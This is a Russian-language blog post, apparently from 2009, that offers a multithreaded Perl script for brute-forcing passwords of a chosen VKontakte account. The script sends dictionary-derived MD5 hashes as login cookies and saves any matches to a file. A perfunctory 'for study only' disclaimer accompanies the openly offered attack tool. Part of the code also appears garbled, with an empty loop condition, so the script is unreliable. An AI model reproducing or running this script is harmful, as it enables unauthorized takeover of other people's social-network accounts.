Программочки Четверг, 18.10.2018, 04:20
Меню сайта
Разделы новостей
про контакт [2]
Мини-чат
Наш опрос

Сколько Времени Вы Проводите Вконтакте?
Всего ответов: 713
Главная » 2009 » Февраль » 25 » Взлом аккаунта vkontakte
Взлом аккаунта vkontakte
04:35
Сегодня добавлю код для взлома аккаунта вконтакте. Поможет только людям разбирающимся в perl и просто системщикам и вебмастерам, ну и самоучкам всяким.

Скрипт представляется для информационного ознакомления, изучения: скриптов написанных на perl и защиты сайта вконтакте; использование этого скрипта только на ваш страх и риск. Автор блога не несет ответственности за его использование.

Скрипт работает просто, используется простой bruteforce (перебор вариантов), в этом скрипте перебор паролей, которые расположены в файле. Человек с руками может сделать из этого скрипта более модифицированный вариант.

Так, что ловите.

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (
){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

Источник - форум Античата.ру

Категория: про контакт | Просмотров: 3095 | Добавил: вован | Рейтинг: 5.0/1 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа
Календарь новостей
Поиск
Друзья сайта
Яндекс цитирования








Besucherzahler single russian women
счетчик посещений



Онлайн всего: 1
Гостей: 1
Пользователей: 0



Бесплатный Онлайн Сервис





ГК «Русь»


Томск





Goon
каталог



Spb-Spb.ru - Поисковая система Санкт-Петербурга. Рейтинг TOP100.


be number one


Интернет каталог, удобная система регистрации в каталогах, служба объявлений, база предприятий, энциклопедии и словари online.


Из рук в руки: объявления





каталог google-com.net.ru


Большой Российский каталог сайтов MyKatalog.info


Nafigator.Ru - Белый каталог сайтов


Каталог ссылок на сайте naves-lux.ru

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Copyright MyCorp © 2018
Бесплатный хостинг uCoz